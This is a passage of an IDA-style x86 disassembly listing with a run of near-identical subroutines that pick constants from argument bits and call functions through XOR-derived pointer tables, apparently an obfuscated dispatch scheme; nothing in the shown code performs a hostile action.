		mov	[ebp+var_20], 47h
		mov	[ebp+var_1C], 53h
		mov	[ebp+var_18], 45h
		mov	[ebp+var_14], 8Ch
		mov	[ebp+var_10], 4
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 4
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6E1D
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6E1D:				; CODE XREF: sub_4A6D8C+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A6D8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A6E89	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED928o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Dh
		mov	[ebp+var_2C], 86h
		mov	[ebp+var_28], 32h
		mov	[ebp+var_24], 89h
		mov	[ebp+var_20], 0C6h
		mov	[ebp+var_1C], 0DBh
		mov	[ebp+var_18], 75h
		mov	[ebp+var_14], 0F7h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A6F1A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A6F1A:				; CODE XREF: sub_4A6E89+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A6E89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A6F86	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED92Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DBh
		mov	[ebp+var_2C], 0FAh
		mov	[ebp+var_28], 0EEh
		mov	[ebp+var_24], 5Fh
		mov	[ebp+var_20], 0BDh
		mov	[ebp+var_1C], 84h
		mov	[ebp+var_18], 1Fh
		mov	[ebp+var_14], 0F8h
		mov	[ebp+var_10], 8
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 8
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7017
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7017:				; CODE XREF: sub_4A6F86+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A6F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7083	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED930o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 56h
		mov	[ebp+var_2C], 4Eh
		mov	[ebp+var_28], 46h
		mov	[ebp+var_24], 48h
		mov	[ebp+var_20], 31h
		mov	[ebp+var_1C], 0D6h
		mov	[ebp+var_18], 33h
		mov	[ebp+var_14], 7Fh
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7114
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7114:				; CODE XREF: sub_4A7083+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7083	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7180	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED934o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 73h
		mov	[ebp+var_2C], 0Bh
		mov	[ebp+var_28], 0CCh
		mov	[ebp+var_24], 58h
		mov	[ebp+var_20], 0Eh
		mov	[ebp+var_1C], 0F8h
		mov	[ebp+var_18], 0C3h
		mov	[ebp+var_14], 5Dh
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7211
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7211:				; CODE XREF: sub_4A7180+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A727D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED938o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0Ch
		mov	[ebp+var_2C], 58h
		mov	[ebp+var_28], 0F7h
		mov	[ebp+var_24], 41h
		mov	[ebp+var_20], 54h
		mov	[ebp+var_1C], 26h
		mov	[ebp+var_18], 0E3h
		mov	[ebp+var_14], 39h
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A730E
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A730E:				; CODE XREF: sub_4A727D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A727D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A737A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED93Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 40h
		mov	[ebp+var_2C], 1Dh
		mov	[ebp+var_28], 0CBh
		mov	[ebp+var_24], 65h
		mov	[ebp+var_20], 0B1h
		mov	[ebp+var_1C], 0D0h
		mov	[ebp+var_18], 5Eh
		mov	[ebp+var_14], 72h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A740B
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A740B:				; CODE XREF: sub_4A737A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A737A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7477	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED940o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0BDh
		mov	[ebp+var_2C], 0B3h
		mov	[ebp+var_28], 72h
		mov	[ebp+var_24], 6Ch
		mov	[ebp+var_20], 68h
		mov	[ebp+var_1C], 0F2h
		mov	[ebp+var_18], 31h
		mov	[ebp+var_14], 0B5h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7508
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7508:				; CODE XREF: sub_4A7477+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7477	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7574	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED944o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 16h
		mov	[ebp+var_2C], 3Bh
		mov	[ebp+var_28], 95h
		mov	[ebp+var_24], 9Ch
		mov	[ebp+var_20], 8Bh
		mov	[ebp+var_1C], 0A6h
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_14], 0C5h
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7605
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7605:				; CODE XREF: sub_4A7574+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A7671	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED948o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Ch
		mov	[ebp+var_2C], 0B5h
		mov	[ebp+var_28], 0BEh
		mov	[ebp+var_24], 3Ah
		mov	[ebp+var_20], 57h
		mov	[ebp+var_1C], 15h
		mov	[ebp+var_18], 7
		mov	[ebp+var_14], 1Fh
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A7702
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A7702:				; CODE XREF: sub_4A7671+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A7671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A776E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED94Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 3Bh
		mov	[ebp+var_2C], 94h
		mov	[ebp+var_28], 32h
		mov	[ebp+var_24], 0Fh
		mov	[ebp+var_20], 5Ch
		mov	[ebp+var_1C], 76h
		mov	[ebp+var_18], 0B9h
		mov	[ebp+var_14], 0Dh
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A77FF
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A77FF:				; CODE XREF: sub_4A776E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
